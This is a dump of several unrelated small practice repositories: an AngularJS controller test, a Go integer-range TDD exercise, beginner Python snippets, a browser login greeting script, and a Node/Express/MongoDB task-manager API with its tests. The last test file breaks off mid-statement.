<repo_name>itayJoseph/karma-jasmine<file_sep>/tCtrl.js angular.module('myApp',[]).controller('tCtrl', ['$scope', function ($scope) { this.hello = 'hello'; }]); <file_sep>/README.md # karma-jasmine Just learning /practice <file_sep>/tCtrlSpec.js describe("tCtrl",function(){ var $rootScope, $scope, controller; beforeEach(function(){ module('myApp'); inject(function($injector){ $rootScope = $injector.get('$rootScope'); $scope = $rootScope.$new(); controller = $injector.get('$controller')("tCtrl",{$scope:$scope}); }); }); describe('init', function () { it("should be equal to hello", function () { expect(controller.hello).toEqual('hello'); }); }); });
07de08b7278a35a806115309640d2f587c05cb48
[ "JavaScript", "Markdown" ]
3
JavaScript
itayJoseph/karma-jasmine
cb67b870ed2fe6c66e6cfc1499eb6be4eab2ff0d
3987396da5db0a7c529610220086fa8dd3100847
refs/heads/master
<repo_name>hatobus/go_gotest<file_sep>/range.go package main import ( "errors" "fmt" "strconv" ) type Range struct { Min int64 Max int64 } var ( NewRangeInvalidRangeElementError = errors.New("Invalid range : min must be less than max") ) func NewRange(min, max int64) (*Range, error) { if min > max { return &Range{}, NewRangeInvalidRangeElementError } return &Range{ Min: min, Max: max, }, nil } func (r *Range) GetLowerEndPoint() string { return strconv.FormatInt(r.Min, 10) } func (r *Range) GetUpperEndPoint() string { return strconv.FormatInt(r.Max, 10) } func (r *Range) GetRange() string { return fmt.Sprintf("[%v,%v]", r.Min, r.Max) } func main() { } <file_sep>/todo.md ### 問題文 ``` 整数閉区間を示すクラス(あるいは構造体)をつくりたい。 整数閉区間オブジェクトは下端点と上端点を持ち、文字列表現も返せる(例: 下端点 3, 上端点 8 の整数閉区間の文字列表記は "[3,8]")。 ただし、 上端点より下端点が大きい閉区間を作ることはできない。 整数の閉区間は指定した整数を含むかどうかを判定できる。 また、 別の閉区間と等価かどうか や、 完全に含まれるかどうかも判定できる。 ``` ### ToDo List 判定元の指定がなければ、判定元の構造体は 下端 : 3, 上端 : 8 とする - [x] 下端と上端を持つ構造体を作る - [x] 下端が 3, 上端が 8 の構造体を生成することができる - [x] 上端よりも下端が大きい閉区間を作成不可能にする - [x] (境界値) 同じ数字を上端と下端に設定し構造体を生成することができる - [x] 構造体の上端と下端を文字列表現でも返すことができる - [x] 下端を文字列表現で返すことができる --> 3 - [x] 上端を文字列表現で返すことができる --> 8 - [x] 上端と下端を文字列表現で返すことができる --> [3,8] - [x] 判定元が [0,0] のときに 上端と下端が 0 になっているのを確認 - [ ] 指定した整数を含むかどうか判定する - [ ] 2が指定された時に含まれないとする - [ ] 5が指定された時に含まれるとする - [ ] 9が指定された時に含まれないとする - [ ] 別の構造体と等価かどうか判別する - [ ] [0, 2] とは違うことにする - [ ] [3, 5] とは違うことにする - [ ] [3, 8] とは等価とする - [ ] [5, 10] とは違うこととする - [ ] [9, 10] とは違うこととする - [ ] 別の構造体に含まれるかどうか判定する - [ ] [0, 2] とは含まれないことにする - [ ] [3, 5] とは含まれることにする - [ ] [3, 8] とは含まれるとする - [ ] [5, 10] とは含まれないこととする - [ ] [9, 10] とは含まれないこととする<file_sep>/range_test.go package main import ( "strconv" "testing" "github.com/stretchr/testify/assert" ) func TestGenerateRangeStruct(t *testing.T) { testcase := []struct { testname string min int64 max int64 expect error }{ { testname: "下端と上端を持つ構造体を生成するテスト", min: 3, max: 8, expect: nil, }, { testname: "上端よりも下端が大きい閉区間を作成不可能にする", min: 8, max: 3, expect: NewRangeInvalidRangeElementError, }, { testname: "同じ数字を上端と下端に設定し構造体を生成することができる", min: 3, max: 3, expect: nil, }, } for _, tc := range testcase { t.Run(tc.testname, func(t *testing.T) { closedRange, err := NewRange(tc.min, tc.max) if tc.expect != nil { assert.EqualError(t, tc.expect, err.Error()) } else { assert.NoError(t, err) assert.Equal(t, tc.min, closedRange.Min) assert.Equal(t, tc.max, closedRange.Max) } }) } } func TestReturnDataPoints(t *testing.T) { testrange, err := NewRange(3, 8) samerange, _ := NewRange(0, 0) assert.NoError(t, err) testcase := []struct { testname string execfunc []func() string expectval []string }{ { testname: "下端を文字列表現で表すことができる", execfunc: []func() string{ func() string { return testrange.GetLowerEndPoint() }, }, expectval: []string{strconv.FormatInt(testrange.Min, 10)}, }, { testname: "上限を文字列表現で返すことができる", execfunc: []func() string{ func() string { return testrange.GetUpperEndPoint() }, }, expectval: []string{strconv.FormatInt(testrange.Max, 10)}, }, { testname: "下端と上端を文字列表現で返すことができる", execfunc: []func() string{ func() string { return testrange.GetRange() }, }, expectval: []string{"[3,8]"}, }, { testname: "判定元が [0,0] のときに 上端と下端が 0 になっているのを確認", execfunc: []func() string{ func() string { return samerange.GetLowerEndPoint() }, func() string { return samerange.GetUpperEndPoint() }, }, expectval: []string{"0", "0"}, }, } for _, tc := range testcase { t.Run(tc.testname, func(t *testing.T) { for i, f := range tc.execfunc { result := f() if err != nil { t.FailNow() } else { assert.Equal(t, tc.expectval[i], result) } } }) } }
fd3f19e790a9078964c84b2e8752ffb6fc372cdd
[ "Markdown", "Go" ]
3
Go
hatobus/go_gotest
3971b6d1aaab2f52d891eeb3f335c484a646e903
cf6dec458f36f7ba1b362c27d81581cf5b0a3293
refs/heads/master
<repo_name>eymkarla/gitpy<file_sep>/moon.py print ("Hello, Python!") if b > a: print("b is greater than a") elif a == b: print("a and b are equal") else: print("a is greater than b") class Person: def __init__(mysillyobject, name, age): mysillyobject.name = name mysillyobject.age = age class Person: def __init__(self, first, last): self.firstname = first self.lastname = last def Name(self): return self.firstname + " " + self.lastname class Employee(Person): def __init__(self, first, last, staffnum): Person.__init__(self,first, last) self.staffnumber = staffnum def GetEmployee(self): return self.Name() + ", " + self.staffnumber x = Person("Marge", "Simpson") y = Employee("Homer", "Simpson", "1007") print(x.Name()) print(y.GetEmployee()) class Person: def __init__(self, first, last): self.firstname = first self.lastname = last def __str__(self): return self.firstname + " " + self.lastname class Employee(Person): def __init__(self, first, last, staffnum): super().__init__(first, last) self.staffnumber = staffnum x = Person("Marge", "Simpson") y = Employee("Homer", "Simpson", "1007") print(x) print(y) class Person: def __init__(self, first, last, age): self.firstname = first self.lastname = last self.age = age def __str__(self): return self.firstname + " " + self.lastname + ", " + str(self.age) class Employee(Person): def __init__(self, first, last, age, staffnum): super().__init__(first, last, age) self.staffnumber = staffnum def __str__(self): return super().__str__() + ", " + self.staffnumber x = Person("Marge", "Simpson", 36) y = Employee("Homer", "Simpson", 28, "1007") print(x) print(y) b = "world" print(b[2:5]) a = " Hello, World! " print(a.strip()) print(len(a)) print(a.upper()) x = ["apple", "banana"] y = ["apple", "banana"] z = x print(x is z) print(x is not z) print(x is y) <file_sep>/inheritance.py class Person: def __init__(self, first, last): self.firstname = first self.lastname = last def Name(self): return self.firstname + " " + self.lastname class Employee(Person): def __init__(self, first, last, year): Person.__init__(self,first, last) self.year = year def GetEmployee(self): return self.Name() + ", " + self.year x = Person("Kim", "Namjoon") y = Employee("Kim", "Taehyung", "1995") print(x.Name()) print(y.GetEmployee()) #Overriding and overloading class Person: def __init__(self, first, last): self.firstname = first self.lastname = last def __str__(self): return self.firstname + " " + self.lastname class Employee(Person): def __init__(self, first, last, year): super().__init__(first, last) self.year = year x = Person("Jungkook", "Jeon") y = Employee("Rap", "Mon", "1994") print(x) print(y)<file_sep>/conditions.py if 100 > 5: print("100 is greater than 5") elif 100 == 5: print(" 100 and 5 are equal") if 100 > 5: print("100 is greater than 5") elif 100 == 5: print("100 and 5 are equal") else: print("5 is greater than 100")<file_sep>/dictionary.py thisdict = { "apple": "green", "banana": "yellow", "cherry": "red" } thisdict["apple"] = "red" #change green to red thisdict = dict(apple="green", banana="yellow", cherry="red") thisdict["damson"] = "purple" #insert another value in the dict del(thisdict["banana"]) #delete print(len(thisdict)) #length of dict
36eccbb56043da2c6d91482c110a223a0fe96543
[ "Python" ]
4
Python
eymkarla/gitpy
d14f785780c624ca1ebd3a3c2e8fd1c3fe814aea
79c6dc950fa767427ecbdd93f7775ea0eb5fa65d
refs/heads/master
<file_sep>package User; import java.util.HashMap; public class User { HashMap<String, String> userAttributes = new HashMap<String, String>(); public void addAttribute(String key, String value) { userAttributes.put(key, value); } public HashMap<String, String> getUserAttributes(){ return userAttributes ; } } <file_sep> ## Assumptions * 1. The operators dont appear in the expression as a string. * 2. There is a space between all the operators, operands, variables etc. * 3. All the imput expressions are valid. <file_sep>package Operators; import java.util.regex.Pattern; public class Utility { public static boolean isNumeric(String strNum) { Pattern numericPattern = Pattern.compile("-?\\d+(\\.\\d+)?"); if (strNum == null) { return false; } return numericPattern.matcher(strNum).matches(); } } <file_sep>package Operators; public class OR extends Operator{ private OperatorDetails opd ; public OR() { opd = new OperatorDetails() ; opd.setNumberOfOperands(2); opd.setPriority(95); opd.setSymbol("OR"); Operators.addOperator("OR",opd); } @Override public <T> boolean compute(T[] operands) { // TODO Auto-generated method stub if(operands.length == opd.getNumberOfOperands() && operands[0].getClass() == operands[1].getClass()) { if(operands[0].getClass() == String.class) { return ( Boolean.parseBoolean((String) operands[0]) || Boolean.parseBoolean((String) operands[1]) ); } } throw new IllegalArgumentException(); } public void setOp(Operator op) { opd.setOp(op); } } <file_sep>package Evaluator; import java.util.LinkedHashMap; import java.util.Map; import java.util.Set; import java.util.Stack; import java.util.regex.Pattern; import Operators.*; /* Assumptions: * 1. The operators dont appear in the expression as a string. * 2. There is a space between all the operators, operands, variables etc. * */ public class InfixEvaluator implements IEvaluator { private Pattern numericPattern = Pattern.compile("-?\\d+(\\.\\d+)?"); LinkedHashMap<String,OperatorDetails > operators; public InfixEvaluator(LinkedHashMap<String, OperatorDetails> operators) { super(); this.operators = operators; } @Override public boolean evaluate(String exp, Map<String, String> user) { String[] tokens = parseExpression(exp); Stack<String> values = new Stack<String>(); Stack<String> ops = new Stack<String>(); for (int i = 0; i < tokens.length; i++) { if (tokens[i] == " ") continue; if (isNumeric(tokens[i])) { values.push(tokens[i]); } else if (tokens[i].equals("(")) ops.push(tokens[i]); // Closing brace encountered, solve entire brace else if (tokens[i].equals(")") ) { while (!ops.peek().contentEquals("(") ) values.push(applyOp(values, ops, operators)); ops.pop(); } // Current token is an operator. else if (isOperator(tokens[i], operators )) { // While top of 'ops' has same or greater precedence to current // token, which is an operator. Apply operator on top of 'ops' // to top two elements in values stack while (!ops.empty() && hasPrecedence(tokens[i], ops.peek(), operators )) values.push(applyOp(values, ops, operators)); // Push current token to 'ops'. ops.push(tokens[i]); } else if(isVariable(tokens[i], user)) { values.push(user.get(tokens[i])); } else { values.push(tokens[i]); } } // Entire expression has been parsed at this point, apply remaining // ops to remaining values while (!ops.empty()) values.push(applyOp(values, ops, operators)); // Top of 'values' contains result, return it return Boolean.parseBoolean((String)values.pop()); } private boolean isVariable(String string, Map<String, String> user) { if(user.containsKey(string)) return true; else return false; } private boolean hasPrecedence(String token, String top, LinkedHashMap<String, OperatorDetails> operators) { if(top.equals("(") || top.equals(")")) return false; else if(operators.get(top).getPriority() >= operators.get(token).getPriority()) return true; else return false; } private boolean isOperator(String token, LinkedHashMap<String, OperatorDetails> operators) { Set<String> keyset = operators.keySet(); for(String s: keyset) { if(s.equals(token)) return true; } return false; } private String[] parseExpression(String exp){ String[] arrOfStr = exp.split(" "); return arrOfStr; } private String applyOp(Stack<String> values, Stack<String> ops, LinkedHashMap<String, OperatorDetails> operators) { OperatorDetails opd = operators.get(ops.pop()); int numOperands = opd.getNumberOfOperands(); String[] arr = new String[numOperands]; for(int i = numOperands-1 ; i>=0; i-- ) arr[i] = values.pop(); boolean b = opd.getOp().compute(arr); return String.valueOf(b); } public boolean isNumeric(String strNum) { if (strNum == null) { return false; } return numericPattern.matcher(strNum).matches(); } } <file_sep>package Operators; public class LessThanEqualTo extends Operator{ private OperatorDetails opd ; public LessThanEqualTo() { opd = new OperatorDetails() ; opd.setNumberOfOperands(2); opd.setPriority(100); opd.setSymbol("<="); Operators.addOperator("<=",opd); } @Override public <T> boolean compute(T[] operands) { // TODO Auto-generated method stub if(operands.length == opd.getNumberOfOperands() && operands[0].getClass() == operands[1].getClass()) { if( Utility.isNumeric((String)operands[0]) && Utility.isNumeric((String)operands[1]) ) { if( Integer.parseInt((String) operands[0]) <= Integer.parseInt((String) operands[1])) return true; else return false; } if(operands[0].getClass() == String.class) { if( (((String) operands[0]).compareTo( (String)operands[1])) <= 0 ) return true; else return false; } } throw new IllegalArgumentException(); } public void setOp(Operator op) { opd.setOp(op); } }
bbf5e91f820fb15a67bcc53959be74500ca128a3
[ "Markdown", "Java" ]
6
Java
akritibagaria/Feature_gating
fbdcecf2b860957b8687e24100748f999c27166c
fcf38bfe29eeae3e441eaa53bf9d5eda733053ba
refs/heads/master
<repo_name>lj787448952/KaohsiungTravel<file_sep>/Js/all.js let data = []; let ajax = new XMLHttpRequest(); let hotPlace = document.querySelector('.hotPlace'); let selectArea = document.querySelector('.selectArea'); let placeTitle = document.querySelector('.placeTitle'); let list = document.querySelector('.list'); ajax.open('get','https://raw.githubusercontent.com/hexschool/KCGTravel/master/datastore_search.json',true); ajax.send(null); ajax.onload = function(){ data = JSON.parse(ajax.responseText); data = data.result.records; updatePlaceSelect(); placeList(); } function updatePlaceSelect(e){ let str = ''; let set = new Set(); //https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Set let result = data.filter(item => !set.has(item.Zone) ? set.add(item.Zone):false); let len = result.length; for(let i=0; i<len; i++){ str+=`<option value="${result[i].Zone}">${result[i].Zone}</option>`; selectArea.innerHTML = `<option value="請選擇行政區">--請選擇行政區--</option>${str}`; } } function placeList(){ let str = ''; let len = data.length; for(let i=0; i<len; i++){ str+=` <li> <div class="img" style="background: url(${data[i].Picture1}) center;"> <h3>${data[i].Picdescribe1}</h3> <p>${data[i].Zone}</p> </div> <div class="text"> <div class="clock middle"> <p><img src="img/icons_clock.png" alt=""/>${data[i].Opentime}</p> </div> <div class="local middle"> <p><img src="img/icons_pin.png" alt=""/>${data[i].Add}</p> </div> <div class="tel middle"> <p><img src="img/icons_phone.png" alt="">${data[i].Tel}</p> <p><img src="img/icons_tag.png">${data[i].Ticketinfo}</p> </div> </div> </li> `; } list.innerHTML = str; } function placeUpdate(e){ let str = ''; let len = data.length; for(var i=0; i<len; i++){ if(e.target.value == data[i].Zone){ str+=` <li> <div class="img" style="background: url(${data[i].Picture1})"> <h3>${data[i].Picdescribe1}</h3> <p>${data[i].Zone}</p> </div> <div class="text"> <div class="middle"> <p><img src="img/icons_clock.png" alt=""/>${data[i].Opentime}</p> </div> <div class="middle"> <p><img src="img/icons_pin.png" alt=""/>${data[i].Add}</p> </div> <div class="tel middle"> <p><img src="img/icons_phone.png" alt="">${data[i].Tel}</p> <p><img src="img/icons_tag.png">${data[i].Ticketinfo}</p> </div> </div> </li> `; } } list.innerHTML = str; placeTitle.innerHTML = e.target.value; } selectArea.addEventListener('change',placeUpdate); hotPlace.addEventListener('click',placeUpdate); $('.gotop').click(function (e) { $('html, body').animate({ scrollTop: 0 }, 800); }); $(window).scroll(function() { if ( $(this).scrollTop() > 200){ $('.gotop').fadeIn(); } else { $('.gotop').fadeOut(); } });<file_sep>/README.md # KaohsiungTravel https://lj787448952.github.io/KaohsiungTravel/.
a0293b198e126163d788199773fb586cfc5f38d6
[ "JavaScript", "Markdown" ]
2
JavaScript
lj787448952/KaohsiungTravel
b0c139164e9d29fdf672f90e9439c345c69fd8ad
cd8fa899562cab119101791cafe3d44616bb7754
refs/heads/main
<file_sep>/* const calculator = { add: function(a, b){ return a + b; }, minus: function(a, b){ return a - b; }, divide: function(a, b){ return a / b; }, multiply: function(a, b){ return a * b; }, power: function(a, b){ return a ** b; } } const addResult = calculator.add(10, 4); const minusResult = calculator.minus(addResult, 4); const divideResult = calculator.divide(10, minusResult); const multiplyResult = calculator.multiply(addResult, divideResult); const age = 26; function calculateKrAge(ageOfForeigner){ return ageOfForeigner + 2; } const krAge = calculateKrAge(age); console.log(krAge); const age = parseInt(prompt("How old are you?")); if (isNaN(age) || age < 0) { console.log("please write a real positive number"); } else if (age <18) { console.log("You are too young."); } else if (age>=18 && age<50){ console.log("You can drink"); } else if (age >50 && age<=80){ console.log("You should excercise"); } else if (age>80) { console.log("You can do whatever you want"); } const h1 = document.querySelector(".hello h1"); console.dir(title); function handleTitleClick() { h1.style.color = "blue"; } function handleMouseEnter() { h1.innerText = "Mouse is here!"; } function handleMouseLeave() { h1.innerText = "Mouse is gone!"; } function handleWindowResize() { document.body.style.backgroundColor = "tomato"; } function handleWindowCopy() { alert("copier"); } function handleWindowOffline() { alert("SOS no WIFI"); } function handleWindowOnline() { alert("ALL GOOOD"); } title.addEventListener("click", handleTitleClick); title.addEventListener("mouseenter", handleMouseEnter ); title.addEventListener("mouseleave", handleMouseLeave ); window.addEventListener("resize", handleWindowResize); window.addEventListener("copy", handleWindowCopy); window.addEventListener("offline", handleWindowOffline); window.addEventListener("online", handleWindowOnline); const h1 = document.querySelector("div.hello h1"); function handleTitleClick() { h1.classList.toggle("clicked"); } h1.addEventListener("click", handleTitleClick); */ const loginForm = document.querySelector("#login-form"); const loginInput = document.querySelector("#login-form input"); const greeting = document.querySelector("#greeting"); const HIDDEN_CLASSNAME = "hidden"; const USERNAME_KEY = "username"; function onLoginSubmit(event) { event.preventDefault(); loginForm.classList.add(HIDDEN_CLASSNAME); const username = loginInput.value; localStorage.setItem("USERNAME_KEY", username); paintGreetings(username); } function paintGreetings(username) { greeting.classList.remove(HIDDEN_CLASSNAME); greeting.innerText = `Hello ${username}`; } const savedUsername = localStorage.getItem("USERNAME_KEY"); if (savedUsername === null) { loginForm.classList.remove(HIDDEN_CLASSNAME); loginForm.addEventListener("submit", onLoginSubmit); } else { paintGreetings(savedUsername); }
912e7547de305eb54b35f54a4a63077e97812460
[ "JavaScript" ]
1
JavaScript
nbc7799/crome-app
29f27c748321d4d902951b6203f93f6cf54b46b1
431aa33cb7d07c0be12890a60cae37b1b4384027
refs/heads/main
<repo_name>rafaelgeronimo/today-backend<file_sep>/src/controllers/userController.js const userService = require('../services/userService'); const createUser = async (req, res) => { const data = req.body; const { statusCode, message } = await userService.createUser(data); res.status(statusCode).json({ message }); }; const getAllUsers = async (_req, res) => { const { statusCode, users } = await userService.getAllUsers(); res.status(statusCode).json(users); }; const getUserById = async (req, res) => { const { statusCode, user } = await userService.getUserById(req.params.id); if (!user) { return res.status(404).json({ message: 'User not found' }); } res.status(statusCode).json(user); } const updateUser = async (req, res) => { const { id } = req.params; const { name, email, password, avatar, role } = req.body; const userDetails = ({ id, name, email, password, avatar, role }); const { statusCode, user } = await userService.updateUser(userDetails); res.status(statusCode).json(user); } const removeUser = async (req, res) => { const { statusCode } = await userService.removeUser(req.params.id); res.status(statusCode).json({}); } const userLogin = async (req, res) => { const data = req.body; const { statusCode, message, user, token } = await userService.userLogin(data); res.status(statusCode).json({ message, user, token }); }; module.exports = { createUser, userLogin, getAllUsers, getUserById, updateUser, removeUser, }; <file_sep>/src/models/taskModel.js const { ObjectID } = require('bson'); const connect = require('./connection'); const createTask = async ({ title, description, initialDate, endDate, taskStatus }, userId) => { const db = await connect(); const taskCreated = await db.collection('tasks') .insertOne({ title, description, initialDate, endDate, taskStatus, userId }); const task = ({ id: taskCreated.insertedId, title, description, initialDate, endDate, taskStatus, userId }); return { statusCode: 201, task }; }; const getTasks = async () => { const db = await connect(); const tasks = await db.collection('tasks').find({}).toArray(); return { statusCode: 200, tasks}; }; const getTaskById = async (id) => { if (!ObjectID.isValid(id)) return { statusCode: 404, task: null }; const db = await connect(); const task = await db.collection('tasks').findOne({ _id: ObjectID(id) }); return { statusCode: 200, task }; }; const getTasksByUserId = async (userId) => { if (!ObjectID.isValid(userId)) return { statusCode: 404, tasks: null }; const db = await connect(); const tasks = await db.collection('tasks').find({ userId: ObjectID(userId) }).toArray(); if(tasks.length === 0 ) return { statusCode: 404 }; return { statusCode: 200, tasks }; }; const updateTask = async (taskDetails) => { const { id, title, description, initialDate, endDate, taskStatus } = taskDetails; if (!ObjectID.isValid(id)) return { statusCode: 404, task: null }; const db = await connect(); await db.collection('tasks') .updateOne({ _id: ObjectID(id) }, { $set: { title, description, initialDate, endDate, taskStatus } }); task = { id, title, description, initialDate, endDate, taskStatus }; return { statusCode: 200, task }; }; const removeTask = async (id) => { if (!ObjectID(id)) return { statusCode: 404, task: null }; const db = await connect(); await db.collection('tasks').deleteOne({ _id: ObjectID(id) }); return { statusCode: 204 }; } module.exports = { createTask, getTasks, getTaskById, updateTask, removeTask, getTasksByUserId, }; <file_sep>/src/controllers/taskController.js const taskService = require('../services/taskService'); const createTask = async (req, res) => { const data = req.body; const { authorization } = req.headers; const { _id: userId } = req.user; const { statusCode, message, task } = await taskService.createTask(data, userId, authorization); if (message) return res.status(statusCode).json({ message }); return res.status(statusCode).json({ task }); }; const getTasks = async (_req, res) => { const { statusCode, tasks } = await taskService.getTasks(); return res.status(statusCode).json(tasks); }; const getTaskById = async (req, res) => { const { statusCode, task } = await taskService.getTaskById(req.params.id); if (!task) { return res.status(404).json({ message: 'Task not found' }); } res.status(statusCode).json(task); }; const getTasksByUserId = async (req, res) => { const { statusCode, tasks } = await taskService.getTasksByUserId(req.params.id); if (!tasks) { return res.status(404).json({ message: 'Tasks not found' }); } res.status(statusCode).json(tasks); }; const updateTask = async (req, res) => { const { id } = req.params; const { title, description, initialDate, endDate, taskStatus } = req.body; const taskDetails = ({ id, title, description, initialDate, endDate, taskStatus }); const { statusCode, task } = await taskService.updateTask(taskDetails); res.status(statusCode).json(task); }; const removeTask = async (req, res) => { const { statusCode } = await taskService.removeTask(req.params.id); res.status(statusCode).json({}); }; module.exports = { createTask, getTasks, getTaskById, updateTask, removeTask, getTasksByUserId, }; <file_sep>/src/services/userService.js const jwt = require('jsonwebtoken'); const validationSchema = require('../helpers/validationSchema'); const userModel = require('../models/userModel'); const { JWT_SECRET } = process.env; const createUser = async (data) => { const { error } = validationSchema.userSchema.validate(data); if (error) return { statusCode: 400, message: error.details[0].message }; return { statusCode, message } = await userModel.createUser(data); }; const getAllUsers = async () => { return { statusCode, users} = await userModel.getAllUsers(); }; const getUserById = async (id) => { return { statusCode, user } = await userModel.getUserById(id); }; const updateUser = async (userDetails) => { return { statusCode, user } = await userModel.updateUser(userDetails); }; const removeUser = async (id) => { return { statusCode } = await userModel.removeUser(id); } const userLogin = async (data) => { const { error } = validationSchema.loginSchema.validate(data); if (error) return { statusCode: 401, message: error.details[0].message }; const { statusCode, message, findUser } = await userModel.userLogin(data); if (findUser) { const { _id, name, email, role, avatar } = findUser; const user = ({ id: _id, name, email, avatar, role }); const { password: _, ...userPayload } = findUser; const token = jwt.sign(userPayload, JWT_SECRET, { algorithm: 'HS256', expiresIn: '16h', }); return ({ statusCode, message, user , token }); } return ({ statusCode, message }); }; module.exports = { createUser, userLogin, getAllUsers, getUserById, updateUser, removeUser, }; <file_sep>/src/server.js require('dotenv/config'); const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const cors = require('cors'); app.use(bodyParser.json()); const PORT = process.env.PORT || 3000; const FRONTEND_URL = process.env.FRONTEND_URL; const { authMiddleware ,userRouter, loginRouter, taskRouter } = require('./routers'); const corsOptions = { // origin: `http://localhost:${FRONTEND_PORT}`, origin: `${FRONTEND_URL}`, }; app.use(cors(corsOptions)); // ---------- USER ---------- // app.use('/users', authMiddleware, userRouter); // ---------- LOGIN ---------- // app.use('/login', loginRouter); // ---------- TASKS ---------- // app.use('/tasks', authMiddleware, taskRouter); // app.use('/tasks', taskRouter); // Development environment app.listen(PORT, () => console.log(`Server running on port ${PORT}`)); <file_sep>/tests/taskCreate.test.js const frisby = require('frisby'); const { MongoClient } = require('mongodb'); const mongodbUrl = 'mongodb://localhost:27017/today'; const url = 'http://localhost:3000'; describe('Cadastra uma nova tarefa', () => { let connection; let db; beforeAll(async () => { connection = await MongoClient.connect(mongodbUrl, { useNewUrlParser: true, useUnifiedTopology: true, }); db = connection.db('today'); }); beforeEach(async () => { await db.collection('users').deleteMany({}); await db.collection('tasks').deleteMany({}); const users = { name: 'admin', email: '<EMAIL>', password: '<PASSWORD>', role: 'admin' }; await db.collection('users').insertOne(users); }); afterAll(async () => { await connection.close(); }); it('Será validado que não é possível cadastrar tarefa sem o campo `title`', async () => { await frisby .post(`${url}/login/`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/tasks/`, { description: 'Desenvolver o frontend da página de login para o novo sistema da Ebyrt', initialDate: '30/10/2021', endDate: '05/11/2021', taskDone: false, }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"title" is required'); }); }); }); it('Será validado que não é possível cadastrar tarefa com token inválido', async () => { await frisby .setup({ request: { headers: { Authorization: '12345678', 'Content-Type': 'application/json', }, }, }) .post(`${url}/tasks/`, { title: 'Criar página de login', description: 'Desenvolver o frontend da página de login para o novo sistema da Ebyrt', initialDate: '30/10/2021', endDate: '05/11/2021', taskDone: false, }) .expect('status', 401) .then((responseLogin) => { const { json } = responseLogin; expect(json.message).toBe('jwt malformed'); }); }); it('Será validado que é possível cadastar uma tarefa com sucesso', async () => { await frisby .post(`${url}/login/`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/tasks/`, { title: 'Criar página de login', description: 'Desenvolver o frontend da página de login para o novo sistema da Ebyrt', initialDate: '2021/10/30', endDate: '2021/11/05', taskDone: false, }) .expect('status', 201) .then((responseLogin) => { const { json } = responseLogin; expect(json.task).toHaveProperty('_id'); expect(json.task.title).toBe('Criar página de login'); expect(json.task.description).toBe('Desenvolver o frontend da página de login para o novo sistema da Ebyrt'); }); }); }); }); <file_sep>/README.md Status do Projeto: Em desenvolvimento :warning: ![[object Object]](https://socialify.git.ci/rafaelgeronimo/today-backend/image?description=1&descriptionEditable=%5B%20T%20O%20D%20A%20Y%20%5D%20-%20B%20A%20C%20K%20E%20N%20D&font=KoHo&language=1&name=1&owner=1&theme=Light) ### Bem vindo ao repositório **backend** do projeto [Today](https://github.com/rafaelgeronimo/today)! ### Para ter mais contexto sobre o desafio, [acesse o repositório inicial](https://github.com/rafaelgeronimo/today). #### Se você está procurando pelo repositório **frontend**, [clique aqui para visitar o projeto **today-frontend**](https://github.com/rafaelgeronimo/today-frontend). ## :book: Sobre O **Today Backend** é onde se encontra todo o código necessário para execução da API do projeto. Em fase avançada de desenvolvimento, o sistema já contempla as principais rotas necessárias para atender as requisições do frontend. ## :art: Feito com As principais ferramentas utilizadas para o desenvolvimento desse projeto: - [Express](https://expressjs.com/pt-br/) - [MongoDB](https://www.mongodb.com/) - [NodeJS](https://nodejs.org/en/) - [Joi](https://joi.dev/) - [JWT](https://www.npmjs.com/package/jsonwebtoken) - [pm2](https://pm2.keymetrics.io/) ## :dash: Deploy da API ### [https://geronimo-today.herokuapp.com/](https://geronimo-today.herokuapp.com/) ## 🛑 Endpoints e parâmetros - **`/users:`** - GET: retorna uma listagem de pessoas usuárias cadastradas - POST: realiza o cadastro de uma nova pessoa usuária - **`/users/:id`** - GET: busca informações de pessoa usuária específica - PUT: atualiza os dados da pessoa usuária - DELETE: exclui o registro da pessoa usuária - **`/login`** - POST: realiza o login da pessoa usuária - **`/tasks`** - GET: retorna a listagem de todas as tarefas cadastradas - POST: realiza o cadastro de uma nova tarefa - **`/tasks/:id`** - GET: retorna detalhes de uma tarefa específica - PUT: atualiza as informações de uma tarefa - DELETE: exclui a tarefa do banco de dados - **`/tasks/user/:id`** - GET: consulta as tarefas atribuídas à uma pessoa usuária específica ## :rocket: Executando o projeto > Obs.: é necessário possuir o `nodejs` instalado no seu sistema e um gerenciador de pacotes (de preferência `yarn` - mas também pode usar o `npm`) Para executar o projeto em seu sistema, primeiramente realize o clone desse repositório através do terminal com o comando: ```shell= git clone git@github.com:rafaelgeronimo/today-backend.git ``` Em seguida, acesse a pasta do projeto e instale as dependências do sistema: ```shell= cd toda-backend yarn install ``` Antes de executar, será necessário definir as variáveis de ambiente. Na raíz do projeto, crie o arquivo `.env` e defina valores para as variáveis: ```json= MONGO_DB_URL=mongodb://localhost:27017/today DB_NAME=today PORT=4000 FRONTEND_URL=http://localhost:3000/ JWT_SECRET= ``` > Altere as informações acima conforme sua necessidade. Não se esqueça de fornecer uma senha para o `JSW_SECRET`! Agora, com tudo configurado, basta executar o projeto com o comando: ```shell= yarn start ``` Utilize o [`Insomnia`](https://insomnia.rest/download) (ou outro de sua preferência) para realizar as consultas às rotas... OU Inicie o projeto [Today Frontend](https://github.com/rafaelgeronimo/today-frontend) configurado para acessar a rota da API. <file_sep>/tests/userCreate.test.js const frisby = require('frisby'); const { MongoClient } = require('mongodb'); const mongodbUrl = 'mongodb://localhost:27017/today'; const url = 'http://localhost:3000'; describe('Cadastra um novo usuário', () => { let connection; let db; beforeAll(async () => { connection = await MongoClient.connect(mongodbUrl, { useNewUrlParser: true, useUnifiedTopology: true, }); db = connection.db('today'); }); beforeEach(async () => { await db.collection('users').deleteMany({}); await db.collection('tasks').deleteMany({}); const users = { name: 'admin', email: '<EMAIL>', password: '<PASSWORD>', role: 'admin' }; await db.collection('users').insertOne(users); }); afterAll(async () => { await connection.close(); }); it('Será validado que o campo `name` é obrigatório', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users`, { email: 